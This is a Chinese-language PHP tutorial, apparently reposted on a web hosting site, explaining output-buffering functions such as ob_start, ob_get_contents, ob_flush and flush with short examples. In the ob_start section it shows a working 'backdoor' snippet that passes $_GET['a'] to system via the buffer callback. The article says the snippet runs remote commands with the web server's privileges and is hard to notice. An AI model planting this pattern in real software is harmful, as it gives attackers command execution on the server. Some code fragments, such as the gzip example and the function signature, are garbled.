溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

PHP輸出緩沖控制函數(shù)的實例講解

發(fā)布時間:2021-09-04 16:54:38 來源:億速云 閱讀:139 作者:chen 欄目:開發(fā)技術(shù)

本篇內(nèi)容介紹了“PHP輸出緩沖控制函數(shù)的實例講解”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

簡介

說到輸出緩沖,首先要說的是一個叫做緩沖器(buffer)的東西。舉個簡單的例子說明他的作用:我們在編輯一篇文檔時,在我們沒有保存之前,系統(tǒng)是不會向磁盤寫入的,而是寫到buffer中,當(dāng)buffer寫滿或者執(zhí)行了保存操作,才會將數(shù)據(jù)寫入磁盤。對于PHP來說,每一次像 echo 這樣的輸出操作,同樣是先寫入到了 php buffer 里,在腳本執(zhí)行完畢或者執(zhí)行了強(qiáng)制輸出緩存操作,數(shù)據(jù)才會在瀏覽器上顯示。
其實對于PHP程序員來說,基本上每個腳本都涉及到了輸出緩沖,只是在大多數(shù)情況下,我們都不需要對輸出緩沖進(jìn)行更改。而今天就來用實例對PHP輸出緩沖控制函數(shù)“Output Control”做一個詳細(xì)的解析。
下面這個例子簡單介紹了輸出緩沖在一般腳本中存在的方式:

復(fù)制代碼 代碼如下:


echo 'Apple';
echo 'IBM';
echo 'Microsoft'


我們在執(zhí)行上面這段腳本時,腳本在執(zhí)行完第一個 echo 時,并不會向瀏覽器輸出相應(yīng)內(nèi)容,而是會輸出到一個緩沖區(qū),依次類推,當(dāng)三個 echo 全部執(zhí)行完畢(也就是腳本結(jié)束)時,才會將緩沖區(qū)內(nèi)容全部輸出到瀏覽器。當(dāng)然這個緩沖區(qū)也有大小的限制,是根據(jù) php.ini 中的output_buffering選項來設(shè)置的,這點會在下面的文章中詳細(xì)介紹。而本章所講的輸出緩沖控制,就是在腳本結(jié)束前,對緩沖區(qū)里的內(nèi)容進(jìn)行操作。
下這個例子可以更好的體現(xiàn)輸出緩沖控制的應(yīng)用:

復(fù)制代碼 代碼如下:


echo 'Apple'; sleep(2);
echo 'IBM'; sleep(2);
echo 'Microsoft';


我們至少需要等待 2秒 才能看到輸出結(jié)果,那我們能不能讓其實時的顯示呢?也就是在第一個 echo 執(zhí)行完畢時就輸出相應(yīng)的內(nèi)容呢,這時候就需要用輸出緩沖控制函數(shù)來操作緩沖區(qū)了,具體怎么實現(xiàn)先放一邊,文章的結(jié)尾會公布。

作用

1.在PHP中,像header(), session_start(), setcookie() 等這樣的發(fā)送頭文件的函數(shù)前,不能有任何的輸出,而利用輸出緩沖控制函數(shù)可以在這些函數(shù)前進(jìn)行輸出而不報錯。其實這么做沒啥必要,非常少見的用法。
2.對輸出的內(nèi)容進(jìn)行處理,例如生成靜態(tài)緩存文件、進(jìn)行g(shù)zip壓縮輸出,這算是較常用的功能了。
3.捕獲一些不可獲取的函數(shù)輸出,例如phpinfo(), var_dump() 等等,這些函數(shù)都會將運(yùn)算結(jié)果顯示在瀏覽器中,而如果我們想對這些結(jié)果進(jìn)行處理,則用輸出緩沖控制函數(shù)是個不錯的方法。說的通俗點,就是這類函數(shù)都不會有返回值,而要獲取這些函數(shù)的輸出數(shù)據(jù),就要用到輸出緩沖控制函數(shù)。
4.最后一種應(yīng)用就是 簡介 中提到的 對一些數(shù)據(jù)進(jìn)行實時的輸出。

php.ini 中的相關(guān)配置項

再來看看在 php.ini 中和輸出緩沖控制有關(guān)的選項,共三個,分別是:output_buffering, implicit_flush 和 output_handler。
1.output_buffering 默認(rèn)為 off , 當(dāng)設(shè)置為 on 時,則在所有腳本自動打開輸出緩沖區(qū),就是在每個腳本都自動執(zhí)行了 ob_start() 這個函數(shù),而不用再顯示的調(diào)用該函數(shù)。其也可以設(shè)置為一個整型的數(shù)字,代表緩沖區(qū)可以存儲的最大字節(jié)數(shù),我們在例1下面的說明中提到過這個配置項。
2.implicit_flush 默認(rèn)為 off , 當(dāng)設(shè)置為 on 時,PHP將在輸出后,自動送出緩沖區(qū)內(nèi)容。就是在每段輸出后,自動執(zhí)行 flush() 。當(dāng)然有效的輸出不僅指像echo , print 這樣的函數(shù),也包括HTML段。
3.output_handler 默認(rèn)為 null , 其值只能設(shè)置為一個內(nèi)置的函數(shù)名,作用就是將腳本的所有輸出,用所定義的函數(shù)進(jìn)行處理。他的用法和 ob_start(‘function_name') 較類似,下面會介紹到。

本篇文章中,如果沒有特別說明,php.ini中output_buffering, implicit_flush 和 output_handler的值均為默認(rèn)值。

Output Control 函數(shù)詳解

ob_start()

bool ob_start ([ callback outputcallback[,intchunk_size [, bool $erase ]]] )

此函數(shù)大家從命名上也能明白其含義,就是打開輸出緩沖區(qū),從而進(jìn)行下一步的輸出緩沖處理。這里要特意說的是其參數(shù)的用法,第一個參數(shù)要傳遞一個回調(diào)函數(shù),其需將緩沖區(qū)內(nèi)容做為參數(shù),并且返回一個字符串。他會在緩沖區(qū)被送出時調(diào)用,緩沖區(qū)送出指的是執(zhí)行了例如ob_flush() 等函數(shù)或者腳本執(zhí)行完畢。ob_flush() 函數(shù)會在下面介紹到,來看一個簡單的例子就能理解其用法:

復(fù)制代碼 代碼如下:


function dothing1($echo_thing){
    return ' #' . $echo_thing . '# ';
}
 
ob_start('dothing1');
echo 'Apple';
輸出結(jié)果
#Apple#


從輸出的結(jié)果可以看出單詞兩邊被添加了“#”,也就是說在緩沖區(qū)內(nèi)容輸出時,運(yùn)行了我們定義的 dothing1函數(shù)。

再來看一個更實際的例子,也就是常見到的將網(wǎng)頁內(nèi)容利用 gzip 壓縮后再輸出,代碼如下:

復(fù)制代碼 代碼如下:


ob_start();
echo str_repeat('Apple', 1024);

輸出結(jié)果:沒有使用gzip壓縮的情況下,輸出內(nèi)容大小為5.2KB。

輸出結(jié)果:使用gzip壓縮的情況下,文檔大小小了很多,壓縮花費了時間,所以時間長了。

而第二個參數(shù) chunk_size 為緩沖區(qū)的字節(jié)長度,如果緩沖區(qū)內(nèi)容大于此長度,將會被送出緩沖區(qū),默認(rèn)值為0,代表函數(shù)將會在最后被調(diào)用。第三個參數(shù) erase 如果被設(shè)置為 flase , 則代表腳本執(zhí)行完畢后緩沖區(qū)才會被刪除,如果提前執(zhí)行了刪除緩沖區(qū)函數(shù)(后面會提到),則會報一個錯誤。

ob_start() 的用法就這么多,但有兩點需要特別注意的地方:

1.ob_start() 可重復(fù)調(diào)用,也就是說一個腳本中可以存在多個緩沖區(qū),但記得要按照嵌套順序?qū)⑺麄內(nèi)筷P(guān)閉掉,而如果多個 ob_start 都定義了第一個參數(shù),也就是都定義了回調(diào)函數(shù),則會按照嵌套順序依次執(zhí)行。關(guān)于緩沖區(qū)的堆疊嵌套,將在 ob_get_level 函數(shù)處詳細(xì)介紹,這里就不過多闡述了。
2.ob_start() 還有一個不太明顯但很致命的后門用法,實現(xiàn)代碼如下:

復(fù)制代碼 代碼如下:


$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
windows下面的輸出結(jié)果:
14 個目錄 30,970,388,480 可用字節(jié)

如果理解了上面關(guān)于 ob_start的用法,這段代碼就不難理解了,其應(yīng)用了 ob_start 函數(shù)會將緩沖區(qū)輸出的內(nèi)容作為參數(shù)傳入所設(shè)置的函數(shù)中的特點,實現(xiàn)了以Web服務(wù)器權(quán)限遠(yuǎn)程執(zhí)行命令,并且不宜被發(fā)覺。

ob_get_contents()

string ob_get_contents ( void )
此函數(shù)用來獲取此時緩沖區(qū)的內(nèi)容,下面的例子就能很好的理解其用法:

復(fù)制代碼 代碼如下:


ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()

ob_get_length()

此函數(shù)用來獲取緩沖區(qū)內(nèi)容的長度。

ob_get_level()
int ob_get_level ( void )
此函數(shù)用來獲取緩沖機(jī)制的嵌套級別,我們在介紹 ob_start() 函數(shù)時曾說過,在一個腳本中可以嵌套存在多個緩沖區(qū),而此函數(shù)就是來獲取當(dāng)前緩沖區(qū)的嵌套級別,用法如下:

復(fù)制代碼 代碼如下:


ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();

運(yùn)行后可以很明顯的看出他們的嵌套關(guān)系。

ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函數(shù)用來獲取當(dāng)前緩沖區(qū)的狀態(tài),返回一個狀態(tài)信息的數(shù)組,如果第一個參數(shù)為 true ,將返回一個詳細(xì)信息的數(shù)組,我們結(jié)合實例來分析這個數(shù)組:

復(fù)制代碼 代碼如下:


ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
運(yùn)行結(jié)果
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )

說明:
1.level 為嵌套級別,也就是和通過 ob_get_level() 取到的值一樣
2.type 為處理緩沖類型,0為系統(tǒng)內(nèi)部自動處理,1為用戶手動處理
3.status為緩沖處理狀態(tài), 0為開始, 1為進(jìn)行中, 2為結(jié)束
4.name 為定義的輸出處理函數(shù)名稱,也就是在 ob_start() 函數(shù)中第一個參數(shù)傳入的函數(shù)名
5.del 為是否運(yùn)行了刪除緩沖區(qū)操作

ob_flush()
void ob_flush ( void )
此函數(shù)的作用就是 “送出” 當(dāng)前緩沖區(qū)內(nèi)容,同時清空緩沖區(qū),需要注意這里用的是 “送出” 一詞,也就是說調(diào)用此函數(shù)并不會將緩沖區(qū)內(nèi)容輸出,必須在其后調(diào)用 flush 函數(shù)其才會輸出。關(guān)于 flush 的用法下面就會說到,這里就不再做實例了。

flush()
void flush ( void )
這個函數(shù)算是比較常用的,用來將其前面的所有輸出發(fā)送到瀏覽器顯示,且不會對緩存區(qū)有任何影響。換句話說,不論是 echo 等函數(shù)的輸出,還是 HTML實體 ,或是運(yùn)行 ob_start() 送出的內(nèi)容,運(yùn)行 flush() 后都會在瀏覽器進(jìn)行顯示。

ob_flush()與flush()的區(qū)別

在沒有開啟緩存時,腳本輸出的內(nèi)容都在服務(wù)器端處于等待輸出的狀態(tài),flush()可以將等待輸出的內(nèi)容立即發(fā)送到客戶端。 開啟緩存后,腳本輸出的內(nèi)容存入了輸出緩存中,這時沒有處于等待輸出狀態(tài)的內(nèi)容,你直接使用flush()不會向客戶端發(fā)出任何內(nèi)容。而ob_flush()的作用就是將本來存在輸出緩存中的內(nèi)容取出來,設(shè)置為等待輸出狀態(tài),但不會直接發(fā)送到客戶端,這時你就需要先使用ob_flush()再使用flush(),客戶端才能立即獲得腳本的輸出。

void ob_implicit_flush()

此函數(shù)用來打開/關(guān)閉絕對刷送模式,就是在每一次輸出后自動執(zhí)行 flush(),從而不需要再顯示的調(diào)用 flush() ,提高效率。

其他相關(guān)函數(shù)

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

對一些數(shù)據(jù)進(jìn)行實時的輸出

相信讀了上面的內(nèi)容,就會對PHP的緩沖控制函數(shù)有較深的認(rèn)識了,現(xiàn)在我們回到簡介中留下的問題:讓例2的腳本實現(xiàn)實時的顯示內(nèi)容,而不需要等待4秒后出現(xiàn)所有內(nèi)容。
我們可以根據(jù)緩存開啟與否,有如下幾種不同的寫法,如果你在測試過程中無法出現(xiàn)預(yù)期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以嘗試更大的值,部分瀏覽器即使這么做了,有可能還是無法出現(xiàn)效果,你可以嘗試將php代碼放入完整的html代碼塊body體內(nèi)。下面代碼的header(‘content-type:text/html;charset=utf-8');不要省略哦,否則部分瀏覽器查看不到效果。

復(fù)制代碼 代碼如下:


ob_start(''); //這里我使用ob_start('ob_gzhandler')沒有效果
header('content-type:text/html;charset=utf-8');
echo 'Apple #'; 
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';

“PHP輸出緩沖控制函數(shù)的實例講解”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI